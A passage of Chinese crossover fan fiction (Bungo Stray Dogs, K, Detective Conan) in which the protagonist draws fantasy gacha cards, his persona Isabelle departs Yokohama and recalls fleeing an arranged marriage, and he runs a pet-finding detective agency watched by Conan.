“不知道,我们还没有找到那位王者,他/她似乎不想和我们见面。这个女人在横滨的一事中,也从来没有展现过超凡的能力,她有没有我们不清楚,我们只知道,她是仅凭自己,就弄乱一座城的。” “一个普通人。”对方落入沉思:“我们是不是太过陷入了异能者的怪圈中?” “这也不怪我们,”有人回答:“当年在战争中,超越者确实奠定了一国的胜机。” “可现在的现实告诉我们,那么多的异能者,也被一个普通人耍得团团转,别告诉我你们不知道,横滨的异能者中有多少的人才,而这一次,那些普通的人,也不是没有展现出他们的力量。” “你想说什么?” “我是说,或许我们也该停下会脚步,稍稍低头,看看普通人了。” 一些高层的谈话渐歇,所有人的视线都还在伊莎贝尔身上。裴真可以料想到,接下来伊莎贝尔会如何的“忙碌”,但这一切都波折不到他自己身上,当初为什么要卡BUG造马甲,为的不就是今日这一天吗? 他轻轻地笑了,用了另一番模样,一只手插在兜里,一只手牵着行李箱,行过飞机的检测口,机场的人员检测了一下他的凭证和登机票,然后微笑道:“欢迎您的乘坐,柳生明澈先生。” 机场的检查非常的严格,还有不少穿着制服的人在紧盯着所有要登机的人。但裴真一点也不害怕,因为他现在用的完全是另一副模样。一头黄色的被剪碎的短发,面容年轻中带着些不羁,身上是潮流人喜欢的镶有铆钉的皮衣,他一脸无所谓地嚼着块口香糖,双眼被遮在墨镜下。 见没人招惹他,他侧目斜视了下检测员,冷哼一声,高傲离去。 第55章 抽卡抽卡 这是一张[青铜]的[时装]卡, 就是名字有点不好听,叫[黄毛]。在抽出的时候,裴真一时没有想到要将它用到哪里去, 就暂时搁置了。他抽出的卡有很多,没有用上的也不少。 而接下来有所收获的,就是那一次[白银]级别的抽卡了。 [伊莎贝尔]的口才简直是聚集人心的神器, 她的[统帅]力也决定了她就是要站在这样的舞台上,人数一旦多了, 星星之光,也能汇聚成洪流。 裴真之前就有过想法, 现在不过是彻底决定了,他需要一两个马甲, 去做这方面的尝试, 就算不能有[伊莎贝尔]的收获, 也能够得到另外的补充声望的路径。 他站定在幽暗的空间内,天空上的每一颗星星,都代表着一种奇妙的可能。 他十分慎重地扫了眼自己储备的圆球容器, 然后选择了新出来的高等级抽卡—— 一道璀璨的银光坠落, 它直直地向着自己而来。 [白银·珍物]【异空间】 简介:略。 在之后的横滨市中, 裴真就是依靠着它隐去了自己的身形, 让围聚而来的诸多势力的人扑了个空。尽管还有些其它的功能没有开发出来,但它也能做个很好的躲藏神器, 没有空间方面相关认知的人, 根本连它的尾巴都找不到。 很好,[白银]的抽卡就是给力, 一下子就给出了一件十分珍奇的宝物。裴真将之收下,然后再接再厉地投入新的光点。 又一道银光落在了裴真的身前, 他凝神注视着卡上的信息。 [白银·异能]【规则】 “天行有常,万物有序。” “万物始于萌发,长于蒙昧,终于混乱。不知其生,不知其死,唯有规则能制定万物,衡其生死。” 卡面上是一副十分祥和的景象,人立而行的兔子手里面抱着一个开得鲜艳的花篮,它的朋友是一个带着围裙的小浣熊,正在店面的玻璃橱窗后对它打招呼,街道上干净漂亮,房屋也是那种带着点古旧的温馨,一只老狐狸在背后的两层小楼上浇着水,正侧头转面看来。一切都看上去自然美好,连光线都充斥着一种缓慢悠闲的味道。 裴真有些迷惑,这卡面上的景象,他完全不能将之与“规则”二字联系起来。想了想,他深入到这卡牌中去体会,良久,他蓦然睁开眼,眼中闪过惊色。等他再看,他见到的就不是现在这幅温和的场景了,而是一条条遍布了这副画面的锁链,它将所有的东西彻底封死,画面中的生灵,全部都生活在它的禁锢下。那种强烈的对比,让他久久不能忘怀。 卡面中的动物也不是动物,是一些生灵的代体,如果他想,他完全能够将这种能力用在现实世界中,而那时,圈定界中的一些规则,就自看他心意了。 这项能力便是他在来到横滨前心心念念过的异能力了,它确实很强力,但也很危险,裴真忽然想起了他在之前抽到的“扭曲”卡,他有所预感,这张卡并不比那张卡来的弱势,它们的名字是截然相反的,但危险是等同的,一旦失控,俱会造成极恐怖的影响。 裴真深吸口气,他暂且放下一些思绪,将心思放在继续抽卡上。 第三张。 [白银·时装]【灵体】 这是一张卡面上只有一道朦胧扭曲白烟形体的卡,像是将一道幽灵封印在了里面,在白烟的顶部,还有象征着双眼和嘴巴的三个空洞在正对着他,他再仔细看,仿佛能透过这空洞之中,瞧见背后漆黑的深邃。 他打了个寒颤,收回了目光。这张卡没有文字的简述,就像是它的主体,仅只有沉默的注视。虽然是他现在很期望的[时装],但不知为何,他却一点也高兴不起来。 大概是因为这又是一张暂时使用不到的卡吧。 不过没关系,他现在的主体越安全越好,只要不像其他故事中的主角一样,将自己卷入到争端中去,卡牌暂时不使用就不使用吧,越往后期他就越安全,能够横推为什么要让自己受伤?他不喜欢被人一次次的找上门来,现在这种情况就很好。 使用了三次1900的抽卡,圆球中还剩下的数量是,819.9。 裴真也没有犹豫,一下子全数梭|哈—— [灰石·杂物]【有机蔬菜】、[灰石·杂物]【流通用纸钞】、[灰石·杂物]【几张餐券】。数张卡牌环绕在周身,裴真一一扫视,将其中几张完全不需要关注的撇到一边,然后细细辨识剩下的几张。 [青铜·杂物]【一个线人】 “一个神出鬼没的属下,能够帮你去做一些你不方便做的事。” 卡面上是一个极像柯南动画中小黑人的人影,他狗狗祟祟地埋伏在一个角落里,露出阴暗叵测的笑,一眼看上去就不像是个好人。 裴真有些惆怅,他不明白,现在连人类都被卡牌归类到[杂物]中去了吗?而且还能被他抽出来,话说抽出来,你连他的名字也不想给一个吗? [青铜·技能]【枪械精通】 “砰!”冰冷的铁器在一瞬间爆发出强烈的火花,夹杂着痛苦与鲜血的伴奏,演绎出一场极暗的血色歌剧。 “它真美,不是么?”你沉浸在其中,感受着唯有死亡才能带来的公正。你坚信,唯有它,才能带来下一个黎明。 卡面上俨然是一副罪案现场,倒下的尸体旁是一只握着枪的手。但裴真不介意,这完全是他期待已久的一张卡,因为没有抽到它,他还特地去找了个俱乐部,学习了一段时间的枪法,就这样,他的马甲们,还是只能刚好能开枪。 裴真忽然有一个想法,他将这张卡装备在主体上,再去学习开枪,会不会对他本身学习这个技能有加速的效用?而这种自主学习的技能,又能不能带入到他的每一个马甲身上去呢? [灰石·身份]【柳生明澈(小骗子)】 一个善于使用外表与口舌,只会利用人的同情心来欺骗钱财的小骗子,因为刚出道,还没被警察逮捕过一次,但继续这样下去,被抓住只是早晚的事。没什么好说的。 既上次的[灰石·时装]后,这次又出了[灰石·身份]吗?这两者搭在一起还挺配的,不用担心用在其它的卡上面会觉得有些浪费,总算又开拓出了一个新马甲。 算了,有就行了。裴真看向下一张。 [钨铁·杂物]【永不可弃的请柬】 一张十分精美的请柬,材质是上好的纸张,上面绘有淡淡的风景图,字体也是极端工整的,看上去没什么异样。但“永不可弃”这四个字给它带上了一点诡秘的色彩。 这算是这一次中[白银]下最高的等级了,是因为“永不可弃”的特性么? [钨铁·时装]【命运的摆弄人】 “你喜欢命运一说,但你不喜欢命运不掌握在自己手里。” 一个黑色的人影占据了大副的卡面,身上穿着寥寥几笔描绘出的黑西装,他/她没有露出正脸,只是上半身呈露其中。一个金色的天平置于他/她的身前,天平是不平衡的,在其中一端,是形态各异的几人,他们有的抱着头哭嚎,有的跪倒在地蜷缩,有的面露思忖,有的大汗淋淋……而他则是用带着手套的一只手,将一个个的砝码添加进另外的一端,整个过程中,透露出一股极端至上无情的姿态。 “强加在自己身上的,一定要打破。这不是为了日后的自由,而是你不能容忍,有人胆敢左右你的命运。这世间的黑白,唯有你才能裁定!” 裴真的心提了起来,他万分想要再抽取一张能用的上的[身份]卡,但往下看,他只剩下19.9的光液了。这一次的圆球已经被他彻底抽空了,下次的抽取,恐怕还要再积蓄一段时间。他心中有所预感,类似[伊莎贝尔]的这种情况,恐怕要等到很久很久以后了。 他叹了口气,忽然想到,他还有另外的一个收获。 成就栏中,一个新的[白银]级成就正在闪闪发光。他点进去一看。 一张色彩格外浓烈的图片呈现在他眼前。 【变革与奇迹】[白银成就] 天空是昏暗的,建筑是倾斜的,无数的人拥挤在街道上,他们将手握成拳头,举过头顶,每一个人的脸上都是极度的愤怒。横幅如旗帜一般飘扬在空中,一簇簇的火将这座城市环绕,高楼中的人们面露恐惧,他们将窗户锁死,将窗帘拉紧,仿佛这样就不能看见外面的动荡。有士兵用狙击枪对准了人们,有人倒了下来,他面露安详,鲜血流淌了一地,但更多的人还在往前。 但唯有前进不可止歇!他们簇拥着一起往上,直到达到最高处,将一些矮小猥琐的人影,彻底从天上拉下! 一道身穿长裙的人就这样站在距离卡面最近的位置,没有正面,只有在风中飘荡起的裙摆,她静静地看着这一幕,不知是感叹,还是早有预料。武装侦探社的几人在下方救治人群,也有几人站到了她的身侧,江户川乱步的眼瞳很亮,他灼灼地看着她,太宰治似乎是想要制止,但形容中却没有那种焦迫的急切,有人用枪指着她,可手却是在不停的颤抖……黑与红占据了全部的画面,唯有这一点的金色,闪耀着格外不同的光。 [白银][升级卡]Get! 第56章 一些后续 主体都已经离开, 伊莎贝尔也准备离去了。对于这一点,横滨中所有势力的人都松了口气,尤其是被从密闭房子中放出的森鸥外, 他简直感激涕零了。 “收收味啊,林太郎,”他身边的爱丽丝简直没眼看:“不知道的, 还以为你是什么被强取豪夺的小老板呢!” “为什么是小老板啊?”森鸥外下意识地吐槽了一句。 所以你是不否认被“强取豪夺”了是吧?周围的人额上都滴下了汗。 伊莎贝尔换了一身更轻便的衣服,有朵朵素色的花缀在她的裙摆, 这让她看上去,就好像是一位单纯来横滨旅游的国外的游客, 一点也看不出她给这座城市带来了多大的动荡。 小岛菜菜子双手提着来时带着的那个大皮箱,受了伤的脸上只余下一道淡淡的疤, 这也是时间太短了, 说不定再过一段时日, 连这道疤都会不见。这不得不让人感叹“变身”异能者们恐怖的再生力。她十分警惕地注视着在场的所有人。 一直没有出场的芥川龙之介脸色十分复杂地站在森鸥外身后,他被“抛弃”在海上好几天,独自一人和那群尸体在一艘船上飘荡, 手机在打完那个电话后就没电了, 如果不是找到一些吃的, 恐怕他就要一直饿着肚子等了。在寂静的海平面上, 他都以为自己被彻底遗忘了,直到尾崎红叶派来直升机在这一大片海域搜寻, 才终于将他接回了陆地。 而一到陆地上, 他就知道了横滨这些天里发生的事。 心情很复杂,芥川龙之介心中的想法从“大胆, 居然敢对BOSS和BOSS的港口黑手党做出这种事”到“什么?复苏擂钵街,这样的事为什么不叫上我?”, 以为只是个满口谎言的国外女人,没想到听到最后,她居然真的成功了,这完全在芥川龙之介的理解之外。 他现在站在原地没有动,是不知道是要上前去道谢,毕竟他也是来自擂钵街的最底层,还是要斥责她对森首领和他的港口黑手党的利用,他感觉自己分成了两半,每一半都在试图操纵他的躯体。 没有人关注他的纠结,太宰治站在最前方的位置,风从他的身侧吹过,他一只手插在兜里,白色的绷带飘荡在空中,他眯起眼笑道:“王剑出来的时候,还真是吓了我们一跳呢?既然是一位‘王’想要我们的‘书’页,为什么不早点说呢?说不定异能特务科知道后还会双手将之奉上,就不需要你如此筹谋了。” 他这话一出,现场伪装出来的祥和气氛顿时一冷,在一旁的种田山头火连忙道:“其实也不会这样……” “因为是我想要的啊,”伊莎贝尔倒是不介意,她稍微梳拢了下头发,道:“他一开始并没有这样想,是我将想法打到‘书’身上的。”无视在场诸人复杂的眼神,她继续道:“既然是我的想法,那自然就该由我来做了。” 好了,现在有些人应该已经知道了,那位新的王权者是一位男性。 “你不是那位殿下的眷属吗?”种田山头火脱口而出。 伊莎贝尔笑了,她没有直接回答,而是以一种狡黠的语气说:“我和他是朋友哦。” 不是阶层暧昧的眷属,而是朋友。她也是为了朋友,才从自由的探险与冒险中,来到现代的城市中,握起手中的指挥棒,让一整座城市在她掌中起舞,再去摘取最终的胜利物。 也是,这样的人,很难让人相信,她会在谁的面前低下头来。 “不是很懂你口中的‘朋友’……”有人在后面嘀咕。 伊莎贝尔扫视过去。“真的不能留下来吗?”森鸥外依旧不死心:“港口黑手党还缺了一位继承者,组里的人都很崇拜你,若是知道你要离开,大家都会很伤心的。”若是知道了,恐怕整个码头都容不下那么多人来挽留。 中原中也同样神情很复杂,他一方面感激她给出的那个机会,一方面又为自己对首领的“背叛”感到惭愧,但他想了想,他并不后悔,若是再来一次,他还是会在那座台上,对她说出那个词。 “BOSS。” “还没有放弃你那痴心的妄想吗?”太宰治毫不留情地讽刺道:“知道不可能还说出来,那就是自取其辱了。”他懒懒道:“还是去收拾一下你的黑手党组织吧,搞出这么大的事,小心闸刀已经到了你的头上。” “什么,不要啊!”森鸥外抱头痛哭。 这位港口黑手党的首领确实很可怜,什么也没做,就兀自成了有些人的眼中钉。但中岛敦一点也同情不上来,因为在与他一起被关押的那几天里,他已经认识到了这位组织首领的两面性,这种搞笑的风格只是他的伪装,其真实的内在是格外冷血无情的。他的最优解,从来就不会考虑到一个单独的个体。 他原本是要被送去和“组合”交易的,那是一个来自英国的异能者组织,他们的目的也是“书”,并且,和想要将整座城市弄乱的伊莎贝尔不一样,他们的目标更侧重于他本身,当然,顺带毁灭一下横滨,对他们来说也不是什么事。正是因为他们的来势汹汹,异能特务科才会在愈发庞大的压力下,不得不向伊莎贝尔妥协。 这大概也是在她的预料之中吧?做了一个可怕的梦,梦见她一个人用手掌覆压住了整座城市,自己和武装侦探社的同伴逃亡了一整夜的中岛敦打了个寒颤,脸色发青。 感谢太宰先生,他不知道用什么,将自己从这可怕的女人手里交换了回来,真是可靠啊,侦探社的前辈! 伊莎贝尔看到了江户川乱步,对方一扫之前的郑重,正双眼发亮的等待着她。见到她望过来,他十分兴奋道:“能给我签一个名吗?” “嗯?”所有人都看过来,连之前还在相互嘲讽的太宰治与森鸥外也一起看了过来。 “因为实在是很厉害啊!”江户川乱步才不管那么多呢,他说:“能在成千上万人面前,这般自如地开口说话,还说出如此厉害的演讲。其实那个时候我就在想,为什么不害怕那么多双眼睛呢?下面密密麻麻的都是人心,每一个都不一样,你是怎么让他们都只发出一种声音呢?” 原来是这个吗?侦探社的社长有些无力。 “只用‘感同身受’就行了。”伊莎贝尔十分简洁地说。这回答让很多人不知道如何吐槽,如果可以这样简单地掀起动乱,那横滨也就不是现在的这副模样了。 泉镜花站在中岛敦的身边,这个女孩意外的在那场看守与监视的过程中和中岛敦结成了淡淡的友谊,她直视着伊莎贝尔,像是在等待一场审判。 “如果想要离开,可以随时在之后的时间里联系我。”伊莎贝尔轻柔道:“不论那个时候我们在哪里,都会来接你走的。” 小岛菜菜子冲她点点头。泉镜花也十分慎重地点头。她们其实早在之前就说好了,接下来的一段时光,她和她很有可能会遭遇到来自四面八方的危险,不管是忌惮她们的,还是试图窥探那位王者的,都会一波波地上前来与她们交锋。泉镜花虽然有异能,但这样紧绷的生活还是她这种年龄应付不来的,杀人是她不喜的,这些危险其实也与她无关。 “我们会照顾好她的。”侦探社的社长承诺道。 泉镜花面色坚毅,她会一直等待,还会在等待中锻炼自己。因为她也和她们说好了,她们会在之后的日子里,去游历山川大陆,去走遍这个世界,认识到各种各样不同的人。这样的人生与未来……她十分喜欢! 都已经交代好了,伊莎贝尔冲着在场的所有人微微一笑,然后轻轻地转过身,朝着海岸边走去。阳光正好,飞翔的白鸥发出清脆的鸣声,一艘巨大的洋轮停靠在码头上,这个女人头也不回,就这样离开了她留下了深刻印记的城市。 小岛菜菜子也不管他们,提起那个沉重的行李箱,她急匆匆地追赶了上去。 洋轮发出启航的奏鸣声,水波划开,它渐渐驶远。 岸边一片沉默,良久,种田山头火才缓缓道:“政府已经启用了最高级的异能道具,会尽量将‘擂钵街复苏’的事从大众的记忆中模糊过去。” “但亲身经历过的人,尤其是有亲人从这一次事件中复苏的,恐怕很难让他们彻底忘却。”他十分地想抽一根烟。 “这位女士在国际上的名头也被打响了,”太宰治一派慵懒,他调侃道:“‘伺妖的女人’,他们认为她的身边是有妖物纠缠,所以才能以口才摇动那么多人心;‘掌控棋盘的魔女’,形容她智慧超群,能够掌管全局,如魔女一般掀起动乱;还有‘无尽的旅者’,这是她在探险家协会中的朋友们给她取的外号,形容她永远不会迟疑,永远不会停下探索的脚步……” “其实我倒是觉得她还算温柔,”江户川乱步在旁边丝毫不在意道:“她带来的大都是好的不是吗?” “就如同一柄尖刀,锋利地插进来,却又如此委婉地抽出去。”他推了推眼镜:“还真是吓了我一跳,嗯,称她为‘魔女’也还行。” 已经乘上船的伊莎贝尔不知道他们在岸上的交流,她们才刚上船不久,物品都没有搁置好,伊莎贝尔身上的手机铃声就响了起来。 第57章 过往与日常 伊莎贝尔的手机中并没有多少朋友, 这个时候也不会有人特地来找她。她看了眼上面显示的号码,还是接通了。 听见对面传过来说话的声音,她的面上酝酿出了笑。过了一会, 也许是不久,她才说出了第一句话:“好久不见呀,哥哥。” 对面絮叨的话顿时哑住, 但紧接着,他还是硬着头皮说:“你要回来吗, 伊莎贝尔?” “回去,为什么要回去?”伊莎贝尔表现得很讶异, “你还记得我在逃跑那天说过的话吗?” 这张[身份]卡的过去设计得很俗套也很有意思,起头是一个类似传统小说中贵族少女逃婚的桥段, 而和小说不同的是, 她在逃跑的过程中, 没有人来接应她,也没有一个暗中的情人跋山涉水地来帮她。 “伊莎贝尔!伊莎贝尔!”父亲和兄长带着人来追捕她,他们的爪牙那么多, 紧紧地咬在她的身后。 “快跟我回去, 伊莎贝尔。”兄长先找到了她, 他在河的对岸小心翼翼地说:“你如果不想成婚, 可以先不谈,或者换一个人谈。不要这样任性, 伊莎贝尔, 你知道外面的生活是怎么样的吗?” 伊莎贝尔笑了,她那个时候是第一次策划的一场逃家记, 面对着格外湍急的河流,她也毫不畏惧地趟过去了, 她道:“不要用这些话糊弄我了,我知道我回去后是怎么样的,你们既然从来不将我看在眼里,又怎么会因为我这次的逃跑改变你们的决定,你们只会将我看得更牢,嫁得更快!对你们抱有希望,才是对我自己的葬送!” “够了!”他的兄长大声呵斥道:“你知道你在说什么吗?你还记得你是怎样长这么大的吗?家里给了你舒适的生活,你就是这样回报他们的?你就不知道感恩吗?” 伊莎贝尔笑了,她大笑,河水也掩盖不了她的笑声,她道:“如果你们只是要将我当做一个道具来使用,那么将这道具维护得格外昂贵,那不是你们应该做的吗?如果因为享受了一些舒适的生活,就要用一生来回报,你们的买卖做得还真是划算。哥哥,为什么他们不要求你那样做呢?”最后一句话,她说的十分古怪。 她的兄长脸色格外难看,也不知道是不是涉及到了他,他道:“只是要你成婚,婚后你依旧能过着锦衣玉食的生活,又不是毁掉了你的‘一生’。更何况,家族中的每个人都要为家族付出,我也是为了家族的壮大,付出了很多努力……” “你指的是为了掌管家族权力,日复一日地学习和工作吗?”伊莎贝尔打断了他的话:“你不是在为了家族努力,你是为了你自己的未来在努力。哥哥,如果你还要用这样的话来说服我,那我就告诉你一个小秘密吧?”她一笑:“那个家族的那个人,他其实喜爱的是同性,相比较于我,他或许更喜爱哥哥也说不定。你要去与他配对么?” “这也是为了家族牺牲啊。”伊莎贝尔恳切地说。 她的兄长神情更难看了,他声色俱厉道:“不要再胡说八道了,伊莎贝尔!” 伊莎贝尔没有再说,她只是道:“如果富贵的生活是权利,我不应该连放弃掉这些的权力都没有,”她抬头望向天空,天色很阴沉:“若只是一个道具,那么谁都可以。难道只因为一点血缘的关系,所以我这个道具就显得特殊一些吗?不,你们从来都不曾看到我身上。” 她的哥哥缓和了下语气,轻哄道:“伊莎贝尔,外面没有你想象得那么容易,你没有生活的经验,会受到欺骗,他们中有很多坏人,会做出一些残忍到不可思议的事。还有金钱,没有钱财,你连吃的和住的地方都找不到。你对外面的生活了解太少了。” “哥哥,”伊莎贝尔幽幽地与他说话:“这些我都知道。” “我还知道,”她说:“普通人也是这样生活下来的。而这世上,最多的就是这样的普通人。用工作去换去金钱,用双手来养育家人,日复一日地生活。如果这就是你说的苦难,那么我实在很庆幸这样的苦难我能承受。繁华与人上人并不一定就是正确的,人生没有对错。” “哥哥,我的手并非拿不起工具,我的脚也并非不能丈量土地,我远非一个工具,但你们都看不到,你们一开始就否定了我的价值。哥哥,”她又唤他,眼瞳中是一种格外透彻的光:“不要夸大了某些事,那样只会显出你的胆怯和软弱。” 她的兄长尤为愤怒起来,也许是每一次都被伊莎贝尔怼了回来,他大声道:“你知道你放弃的是什么?那些底下的人发疯都想要的东西,你以为他们生活的很好吗?受到了欺负就会有人为他们讨回来吗?连生病都住不起院的家伙们,你也想有一天成为他们那样吗?” “你要是走了,就不要想回来!别有一天回来求我们!”他大吼。 伊莎贝尔却没有被激怒,她转了转手中的伞,目露叹息:“为什么不愿意联姻,就像做了什么罪大恶极的事一样?”她话语一转道:“若是哥哥你,做了一个错误的方案,让家族的公司蒙受了巨大的损失,父亲他们会将你从家里驱逐吗?” 她的哥哥愣住了。 “不会的,”伊莎贝尔有些怅惘:“因为那个家族和公司都是你的。可是……那个家,就不是我的吗?” “哥哥,放我离开吧,”她转过头来:“你和他们不一样,你还是知道我的才能的。还是说,你想要我留下,然后……去与你争夺家族的产业呢?” 她的哥哥嘴唇嗫喏了几下,什么话也没有说出。他忽然想起了自己从前问过她的问题。 圈养的鸟儿如何在外面生存呢? 那就是我的事了,哥哥。 “你疯了,伊莎贝尔。”最后,他也只是喃喃说。 而现在,他却是在电话里劝告:“你的事我都已经听说了,国家部门带走了很多你的东西。伊莎贝尔,真的不回来吗?爸爸妈妈其实也很思念你,这些年里,他们很后悔早期对你的忽视,还有对你的逼迫。这一次,如果你不想谈婚嫁,不会再有人在你面前说这些,给我们个机会,让我们补偿你好吗?”他哽咽道。 “哥哥,”伊莎贝尔的声音冷静到不可思议:“笼子已经被打破了,我已经走出来了,你们还要徘徊在笼子旁多久?” 说完这句话,她就将电话挂掉了。海风吹来,她的心中一片澄澈。她想,那些人从来不了解的是,她并非因为缺少他们的爱而离开那个家,而是为了自己的理想离开的。 所以,不要和我说会补偿我,不要道歉,因为你们不是真的感到抱歉,你们只是无路可走了,看到我走出了一条新的路,所以才求到我这边,让我回去。 我不会回去。因为我要奔自己的理想而去。 “每个人都是自己的小松鼠,要去森林里寻找自己的松果。”她转了下手中的伞,对着小岛菜菜子露出一抹安抚的笑,二人一齐向着船舱内部走去,“我走过风雨,穿过空旷的原野,一直向前行走,只是为了抵达梦中的彼端。” 她们的身影消失在洋轮的深处,直至随之一起前行在这片广阔的大海上。 这就是追寻自己人生的伊莎贝尔的故事了。她即将要开启她的下一趟航程。 ===这是分卷的界线=== 裴真为自己倒了一杯热茶,“宝石”在一边伸了个懒腰,这只灰色的猫终于在这些时日后,适应了一些侦探社中的生活,在有客人到来后,也不会一个起跳,就躲入家具里面,但它也不会和裴真分开,越是有外人,它就贴他贴得越紧。 “是一只十个月大的布偶猫是吗?”他用笔记下一些特征:“嗯,毛发是云朵一般的洁白,眼睛是蓝色的,叫声也很好听,嗯……” “哦,我可怜的宝宝,”坐在他对面的,是一位打扮贵气的妇人,她抽泣地抹着眼泪,道:“妈妈只是转了个身,它就消失不见了,平日里可乖了,从来不会这样,一定是被人带走了,天哪,他要是不给它吃的怎么办,我可怜的小星子……” 裴真微笑道:“放心,我们家的‘宝石’对搜寻同类很有经验,迄今为止,它已经找回了五六只走失的宠物……” 贵夫人淡淡地报出了一个数字。 “什么,十万日元!”裴真一瞬间睁大眼,笔尖在纸上划出了一道短线,但很快,他就咳嗽道:“咳,您放心,我也会亲自去将这一片区域搜寻干净的,最迟两三天内,就会将您家的宝贝送回到您的手里,不用担心,就算有人阻拦,我也会让他知道伤害别人的猫狗,是错误的……” 贵夫人在又聊了一会后,才有些意犹未尽地离开。柯南在门口看完了这一幕,他斜着眼望过来道:“你就在做这些事吗?” 裴真有些疑惑:“什么这些事?侦探不就应该做这些的吗?” 柯南有些恨铁不成钢:“我是说破案,破案!上次的案件中,你也不是没有助力,为什么不趁机将名头打出去,这样就会有一些其它的案子来找你了。” “你是说杀人案吗?”裴真同样斜视看他。“你知道你现在是以什么名号出名的吗?”柯南则是问。裴真想了下,试探道:“‘找猫小能手’?” “你也知道啊,”柯南都快笑了:“毛利叔叔最近都在抱怨,没有人来找他寻猫了,少了这一大侦探社的进项,他啤酒都少喝了两瓶。” “这不挺好的吗?”裴真道:“喝酒也不是好事。更何况,”他伸出手,让“宝石”跳到他的怀里,“其实我也不是那么喜欢破案。” 柯南讶异地看过来。 “因为没有那个才能。”他面不改色地说。近期发生的一些案件,都是原著中发生过的,如果利用自己对于剧情的熟悉,去强行将破案的功劳按在自己的头上,那未免也太可悲了一些。 柯南思考了一下,良久,他有些不确定道:“你该不会……是懒的去推理吧?”他绝不相信他没有那个才能,因为之前的事已经向他表明了这一点。 “怎么可能?”裴真淡淡道,他拿过来遥控器,将电视打开了。 电视里正在播放一则有关横滨的新闻,之前因为罪案出场的日本的首相再一次出现了,他深深地弯下腰,额头扣下,向着诸多民众,大声道歉起来。 第58章 新的身份 柯南看了眼电视, 右手托起下巴:“最近这个人出场率好高啊。” 裴真稍微试探了下:“你对于横滨的事怎么看?” 柯南思索了下,有模有样地叹了口气:“日本很少出现这种大游行,应该是国家在这座城市的策略出了问题吧。听说那边有黑手党横行……唔, 可能是地方自有其特情?” 他看样子有些迷惑,大概是对某些情况不能理解。而且,他似乎并不知道异能力的事——过去的那场大战终是没有将这种力量公开。 这就是几个动漫组合在一起后的结果吗? 裴真也陷入了沉思。柯南多看了他两眼, 他回望过去:“怎么了?” “不,没什么, ”自从立了“神童”标签后,柯南就在他面前彻底不伪装了, “听说你在那次事件后,也开始尝试着去写小说了?” 裴真有些讶异:“这件事已经传开了吗?” 柯南滴落下汗:“你不是只在小兰姐姐面前提起过吗?她也只是告诉了我一个人而已。” “是吗?”裴真表现出松了口气的样子。 柯南像是想起什么, 他狐疑道:“你该不会……嗯, 你现在写了多少?” “……”裴真眼神游移。 见他的样子, 柯南不敢置信道:“该不会只有一个名字吧?” 裴真连忙道:“还是有一个开头的。” 柯南默默地看着他。但裴真很快就不在意了,他道:“已经有了故事的梗概,只需要继续补充一些, 再加上后期的调整, 应该就可以了。” “反正也没准备做出一个好成绩, ”裴真叹了口气:“之前没有经验, 第一次就成功的人终究是极少数,只要我把心态放好, 后面的事就不算什么了。” 柯南张了张口, 他艰难道:“看来你是不需要我开导了。”他有些一言难尽地望了他一眼:“我现在觉得我已经大致了解你这个人了。” 他踮起脚,拍了拍坐在沙发上裴真的肩膀:“天野君, 做年轻人么,还是要尽量闯一闯, 成功了就高兴,失败了就伤心,要热情地去面对所有的事,大喜大悲也没什么,因为到了老年你就不能体会这些了,毕竟会伤身。要努力去做一些事啊!” 裴真也沉默了下来,他就这样看着他,眼中的神情很奇怪。这样的目光让柯南无所适从,他也察觉到了,以自己的年龄和阅历,实在不该说这些话,他连忙打了个哈哈,尴尬笑道:“这是阿笠博士和他的一位朋友说的,我觉得有道理就记下来了……哎呀,快要到吃饭时间了,小兰姐姐一定在找我了!天野哥哥,我就先回去了!” 裴真看着他跑远。 躲入拐角弯处后,柯南背靠着墙,松了口气。一个茶色头发的小脑袋伸了过来,而后是清冷的询问声:“看出什么来了吗?” 柯南擦了擦汗:“我觉得你完全想多了,这家伙虽然有些地方与其他人不同,但他应该和那个组织没有关系。” 说完这些,他的眼神犀利起来:“天野鹤是一个不喜欢与人交际的人,他惯于沉默,不表露自己,虽然继承了一家侦探社,但对侦探的事业却不怎么上心。他说自己是从乡下来到米花市的,可除开以上之外,他并没有那种来到新都市的惴惴不安与自卑感。而且尤为奇怪的是,他现在应该是读书的年龄,可迄今为止,也没有见他去哪一所学校报道。” “这都不奇怪吗?”灰原哀问。 柯南摇了摇头:“他没有说谎,更是没有伪装。我觉得他的头脑很清醒,能够看出罗织幸子隐藏的事,并在最后组织救下了稻田真司的人,不可能是个蠢人。灰原,你觉得,一个人要去读书,是为了什么?” 灰原哀想了想道:“学习知识,增强自我,认识同类,获得……社会的标签,还有,阶级的认同感。” “是的,”柯南镜片后的眼光一闪,他总结了一句:“不让自己成为异类。” “可我没觉得他有表现出异常的样子啊。”灰原哀说。 “那是因为他在很平静地生活。”柯南道:“他的身上有一种强烈的矛盾感,我还不能立刻为他下定义。” 灰原哀却是无所谓:“只要他不是黑衣组织的人,他想怎么生活,那是他的自由。” 但看柯南仍然一副兴致勃勃的样子,她叹了口气,没有再说了。 裴真坐在自己家中的沙发上,电视已经换了一个台,里面是一位男歌手在演唱一首歌曲,他听得很认真。[伊莎贝尔]的事已经结束,但她却没有回去英国,因为英国的异能者机构给她发来了招揽的信息,被她给回绝了。她也没有去关注她的那个家族的情况,因为要断开,就彻底断开,犹犹豫豫对自己不是好事。 很糟糕的是,在很多国家,她都被限制入境,有些国家就算容许她进入,也会从头到脚一直监视着她,就像太宰治说的,她在整个世界的异能界中已经完全出名了,就算后来知道她是个普通人,也没有人放下警惕心。这当然在[伊莎贝尔]的预料之内。但很意外的是,日本并没有对她发起通缉令,哪怕她就是在这片土地上掀起了动乱,它也始终保持着一种沉默暧昧的姿态,没有对这件事立刻发表声明。 这并不奇怪,裴真只要一想,就知道了原因——“无色之王”。 在没有超越者的情况下,德累斯顿石板就是他们最重要的依仗,甚至比在K中更重要,因为别人有的他们没有,对于这个民族来说,就会造成他们畸形的渴盼。王者的影响力比他想象中的更大,裴真摆弄了下手机,心中思忖。 左下角的圆球又被填满了数次,[伊莎贝尔]的声名仍在不断地扩散,一些从没有见过的人也在源源不断地为他提供着关注力,裴真随手一抽—— [青铜·技能]【开锁术】 “在你日复一日的努力下,你的技术愈发精进,现今已经没有多少锁能够阻拦住你了。” 卡面上是一只手正在将工具往锁眼里捅,不知为何,总觉得偷感有些重。 [伊莎贝尔]离开了横滨,但[她]给他留下的,不止这些源源没有断流的光点,还有一些需要他处理的人与事。他的主体不能轻易出动,可马甲却是能有动作的。他心念一动,一条消息就被发送到了一部手机上。 “立即追查!”暗中的人立刻行动起来。 远在横滨的西尾粧拿出手机看了下后,愣了愣。 “队长,怎么了?”他身边和他一起出来的人问。 